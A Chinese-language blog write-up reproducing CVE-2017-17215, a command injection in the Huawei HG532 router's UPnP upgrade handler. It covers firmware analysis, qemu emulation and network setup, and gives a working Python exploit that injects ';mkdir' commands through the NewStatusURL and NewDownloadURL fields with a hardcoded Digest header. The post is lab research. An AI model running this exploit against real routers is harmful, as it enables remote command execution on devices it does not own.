CVE-2017-17215复现（华为HG532命令执行）

发表于 分类于 ，

前言

本文对 CVE-2017-17215 的复现过程进行了记录，该漏洞位于华为 HG532 路由器，在 UPnP 服务中存在 NewStatusURL 和 NewDownloadURL 标签中的命令注入。通过向端口 37215 ，地址为 /ctrlt/DeviceUpgrade_1 发送 POST 报文进行漏洞的触发。整体而言，这个漏洞确实是目前复现过最简单的了，但自己在做的时候依然踩了一些坑…😅

固件链接

固件链接：https://pan.baidu.com/s/1bhUyY-b6rxlAj8pG3cFFjQ?pwd=98uv
提取码：98uv

漏洞定位

根据漏洞披露可知，在启动 UPnP 服务时，存在命令注入。

image-20231025202359522

用 binwalk 将固件解压后，把文件系统中 /bin 目录下的 UPnP 程序给拷贝出来，使用 IDA 分析定位漏洞点时，我的思路是先对system 函数交叉引用看看，既然是命令注入，那大概率是 snprintf + system 造成的。

在对 system 交叉引用到最后一个时，果然发现了漏洞点

image-20231025202940356

image-20231025203019229

这里把 v4 v5 和正常字符串拼接后，直接执行了 system 命令，由于 NewStatusURL 和 NewDownloadURL 标签中的内容是用户可控，导致了命令注入漏洞

搭建复现环境

启动 qemu 之前，我是先执行 net.sh 脚本，创建了一个网桥并且设置了 tap0 接口留给 qemu

#!/bin/sh
sudo brctl addbr br0                     # 添加一座名为 br0 的网桥
sudo brctl addif br0 ens33                # 在 br0 中添加一个接口
sudo brctl stp br0 off                   # 如果只有一个网桥，则关闭生成树协议
sudo brctl setfd br0 1                   # 设置 br0 的转发延迟
sudo brctl sethello br0 1                # 设置 br0 的 hello 时间
sudo ifconfig br0 0.0.0.0 promisc up     # 启用 br0 接口
sudo ifconfig ens33 0.0.0.0 promisc up    # 启用网卡接口
sudo dhclient br0                        # 从 dhcp 服务器获得 br0 的 IP 地址
sudo brctl show br0                      # 查看虚拟网桥列表
sudo brctl showstp br0                   # 查看 br0 的各接口信息
sudo tunctl -t tap0 -u root              # 创建一个 tap0 接口，只允许 root 用户访问
sudo brctl addif br0 tap0                # 在虚拟网桥中增加一个 tap0 接口
sudo ifconfig tap0 0.0.0.0 promisc up    # 启用 tap0 接口
sudo brctl showstp br0

qemu 启动脚本如下

#!/bin/bash
 
sudo qemu-system-mips \
    -M malta \
    -kernel vmlinux-2.6.32-5-4kc-malta \
    -hda debian_squeeze_mips_standard.qcow2 \
    -append "root=/dev/sda1 console=tty0" \
    -net nic \
    -net tap,ifname=tap0,script=no,downscript=no \
    -nographic

我运行了启动脚本 boot.sh ，但发现一直没有回显，用 ps -ef 查看，发现是 7069 号进程卡住了

image-20231025112029984

经过反复尝试，将启动脚本里的 vmlinux-2.6.32-5-5kc-malta 改成 vmlinux-2.6.32-5-4kc-malta 就能成功把 qemu 给启起来（原因我也没搞明白，不知道是不是这个下载内核的版本影响）

进入 qemu 后，首先执行 ip add 命令，确保能看到 IP 并可以正常和宿主机通信

image-20231025201126562

宿主机执行 scp squashfs-root.tar.gz root@10.214.140.139:/root/ 命令，将解压的文件系统传入 qemu 中（传输前最好把文件夹给压缩一下，传入后再解压）

提前用 ssh 再连一个到 qemu 上，后续执行程序 mic 时会把当前 shell 给卡住，所以先弄个 ssh（其实命令加上 & 给它放到后台运行也没问题）

image-20231025201917804

移动到刚传入的 /root/squashfs-root 目录，执行下面的命令来做出隔离环境

chmod -R 777 squashfs-root
cd squashfs-root/
mount --bind /proc proc
mount --bind /dev dev
chroot . /bin/sh

漏洞复现

按照漏洞披露信息来看，需要先打开 37215 端口，并向该端口下的 /ctrlt/DeviceUpgrade_1 地址发送数据包。

首先执行命令 grep -r "37215" ./ ，查看字符串 37215 出现在了哪个文件里

image-20231025132521370

发现 mic 包含了字符串 37215 ，猜测是该程序打开了 37215 端口，因此将 mic 运行

image-20231025204627701

执行一会发现这个 ssh 连上来的终端卡住了（刚刚的命令我都是在 ssh 上来的这个终端执行的），此时查看 IP ，发现网卡 eth0 的 IP 没了，网桥 br0 的 IP 被改成了 192.168.1.1 ，也就导致 ssh 的连接断了。

image-20231025205409991

执行 ifconfig eth0 192.168.110.112/24 up ，将网卡改回原本正常的 IP

image-20231025205522011

宿主机执行 ping 命令，发现已经可以继续和 qemu 进行通信了（如果换回原本的 IP 还无法通信，确定一下虚拟机开的是不是桥接模式，我最开始用的是 NAT ，IP 改回正常的也依然无法通信，折腾了半天才发现要开桥接🥲）

image-20231025205816128

在 qemu 中执行命令 netstat -aut 发现端口 37215 已经打开

image-20231025205747452

在宿主机上执行 nmap -p- -Pn 192.168.110.112 ，对 qemu 开放的所有端口进行扫描，此时也能够看到 37215 成功的暴露了出来

image-20231025211157380

使用 exp 进行攻击验证，因为找了一下隔离环境中可用的命令，发现没有什么适合反弹 shell 的。这里就只用 mkdir zikh26 创建目录的命令来演示一下效果吧

import requests

Authorization = "Digest username=dslf-config, realm=HuaweiHomeGateway, nonce=88645cefb1f9ede0e336e3569d75ee30, uri=/ctrlt/DeviceUpgrade_1, response=3612f843a42db38f48f59d2a3597e19c, algorithm=MD5, qop=auth, nc=00000001, cnonce=248d1a2560100669"
headers = {"Authorization": Authorization}

print("-----CVE-2017-17215 HUAWEI HG532 RCE-----\n")

data = f'''
<?xml version="1.0" ?>
<s:Envelope s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/" xmlns:s="http://schemas.xmlsoap.org/soap/envelope/">
    <s:Body>
        <u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1">
            <NewStatusURL>;mkdir zikh26;</NewStatusURL>
            <NewDownloadURL>;mkdir ZIKH26;</NewDownloadURL>
        </u:Upgrade>
    </s:Body>
</s:Envelope>
'''

r = requests.post('http://192.168.110.112:37215/ctrlt/DeviceUpgrade_1', headers = headers, data = data)
print("\nstatus_code: " + str(r.status_code))
print("\n" + r.text)

运行 exp.py 的时候，发现脚本卡住了，于是我手动 ctrl+c 给退出了

image-20231025211956983

第二次运行的时候还是卡住，然后我想着执行命令 nmap -p- -Pn 192.168.110.112 扫一下，确保端口还开着。结果扫了一下，exp.py 就正常执行了…😶‍🌫️

image-20231025212554572

疑问

漏洞在 UPnP 里，启动的是 mic 。那肯定是 mic 经过一系列调用后执行了 UPnP ，但是我看了一下 mic 里的字符串，以及 UPnP 字符串存在的那几个程序，并没有找到这之间的关系。因此这条漏洞链最终触发的完整细节我并没探究清楚，再加网上没有找到有文章对于这部分的分析，那就先……🥴

参考文章

Huawei Home Routers in Botnet Recruitment - Check Point Research

一些经典IoT漏洞的分析与复现（新手向） - IOTsec-Zone

HG532e漏洞复现(cve-2017-17215) - 知乎 (zhihu.com)

HG532命令执行漏洞复现（CVE-2017-17215）_attifyos 密码-CSDN博客